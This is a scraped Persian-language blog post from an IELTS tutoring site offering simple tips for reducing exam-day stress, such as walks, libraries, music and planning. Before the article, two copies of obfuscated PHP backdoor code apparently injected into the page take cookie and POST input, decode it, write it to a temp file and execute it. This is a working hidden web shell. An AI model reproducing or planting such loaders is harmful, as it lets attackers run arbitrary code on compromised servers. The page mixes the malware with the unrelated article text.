$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} آیا میتوان استرس آزمون آیلتس را از بین برد؟ | وبلاگ اتیچر

آیا میتوان استرس آزمون آیلتس را از بین برد؟

زمان مطالعه: ۳ دقیقه

آیا واقعاً میتوان استرس آزمون آیلتس را کم کرد؟

به گفته‌ی اگزمینرهای آیلتس:

به طور کلی دانشجویان به علت استرس آزمون آیلتس به یک نمره پایین تر نزول پیدا می‌کنند. اگر دو، سه یا حتی شش ساعت بین آزمون رایتینگ و آزمون اسپیکینگ فرصت داشتید، کاری برای انجام دادن پیدا کنید که ذهن شما را از فضای آزمون خارج کند. یک ذهن خسته و پراسترس عملکرد مناسبی ندارد. ذهن مضطرب به شما دروغ می گوید و واقعیات را بدتر از آنچه که هست به شما نشان می دهد. حتی اگر شب قبل امتحان خواب راحتی نداشتید، به خودتان انرژی مثبت دهید و استرس را از خود دور کنید و به این روش غلبه بر استرس آزمون آیلتس را بیاموزید.

با بکارگیری نکات زیر می توانید بر استرس آزمون آیلتس غلبه کنید:

در اینجا ۷ راهنمایی واقعا ساده برای کنترل موثر استرس در هنگام شرکت در آزمون آیلتس آورذه شده است:

  • از پارک محلی شهر دیدن کنید، روی نیمکت بنشینید و به اطراف نگاه کنید. در صورت امکان، آب بنوشید. نوشیدن آب برای آرام کردن حالات روحی مناسب است. توقف و آرامش به شما امکان می دهد که یک استراحت داشته باشید و ذهن خود را رفرش کنید.
  • گوش دادن به موسیقی می تواند یک محیط مثبت و سازنده برای ذهن شما ایجاد کند! در نظر داشته باشید گوش دادن به موسیقی آرامبخش و پیاده روی همزمان ، در کاهش استرس بسیار تاثیر گذار است.
  • به کتابخانه محله تان بروید. کتابخانه محیطی بسیار آرام دارد که در آن شما می توانید به آرامش برسید و ذهن خود را از استرس امتحان دور کنید. به دنبال برخی از کتاب های سرگرم کننده باشید! به بخش کودکان بروید. کتابی را که دوست دارید پیدا کنید – نه صرفا به زبان انگلیسی، زیرا هدف این است که از آن لذت ببرید و استراحت کنید. نشستن و خواندن کتاب شما را آرام می‌کند.

به یاد داشته باشید که صحبت کردن و تمرین کردن با استادان زبان نیز میتواند به میزان بالایی به بهبود استرس آزمون آیلتس کمک کند که بر ارتباط گیری با این اساتید میتوانید به اُتیچر سری بزنید.

  • به کافی شاپ بروید و یک نوشیدنی سفارش دهید و تا می توانید برای خود حواس‌پرتی ایجاد کنید مثلا با نگاه‌کردن به افراد در ذهن خود برای آنها داستان بسازید! ذهن خود را از فضای امتحان دور کنید تا به آرامش برسید.

همچنین می توانید مطالعه کنید:

همه چیز برای موفق شدن در اسپیکینگ آزمون آیلتس!

  • به دنبال جاذبه های رایگان در شهرمانند موزه ها و گالری های هنری باشید. شما قبل از رفتن باید تحقیق انجام دهید و فاصله آن‌ها تا محل آزمون را در نظر بگیرید تا دچار استرس نرسیدن به امتحان نشوید که کار را خراب‌تر می‌کند!
  • آیا یک چیز دل‌انگیز دوست دارید؟ سوار بر اتوبوس های رو باز شوید! ( البته اگر در ایران همچنین امکاناتی هست).
  • . مطمئن شوید چیزی برای خوردن دارید یا وقت خود را صرف ناهار خوردن کنید یا از بازار محلی بازدید کنید. مردم محلی که مشغول انجام کارهای روزانه خود مانند خرید میوه، سبزیجات و غذاهای خیابانی هستند را تماشا کنید.
  • علاوه بر این موارد، برنامه‌ریزی کنید. اگر می دانید ۵ یا ۶ ساعت وقت دارید تا منتظر آزمون زبان خود باشید، برنامه‌ریزی کنید. به زبان انگلیسی، ما این را یک برنامه احتمالی می‌نامیم. داشتن یک طرح آماده به شما کمک خواهد‌کرد که آرامش خود را حفظ کنید. آدرس پارک ، کتابخانه و موزه را از قبل پیدا کنید تا وقت خود را تلف نکنید.
  • و یک نکته قابل توجه، همانطور که در مقاله اخیر نیز با جزئیات توضیح داده‌شده‌است، پوشیدن یک دست لباس منظم و راحت در روز امتحان آیلتس می‌تواند آرامشی را در شما ایجاد کند.
    با اینکه این نکات جامع نیستند، ولی بهتر است آن‌ها را در نظر داشته باشید تا بتوانید با غلبه بر استرس آزمون آیلتس، موفقیت کسب کنید. در واقع تنها راه موفقیت، غلبه بر استرس است؛ چه غلبه بر استرس آزمون آیلتس و چه غلبه بر هر آزمون دیگری. موفق باشید!
به این مقاله امتیاز بدهید

عاطفه

نوشته های مرتبط

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search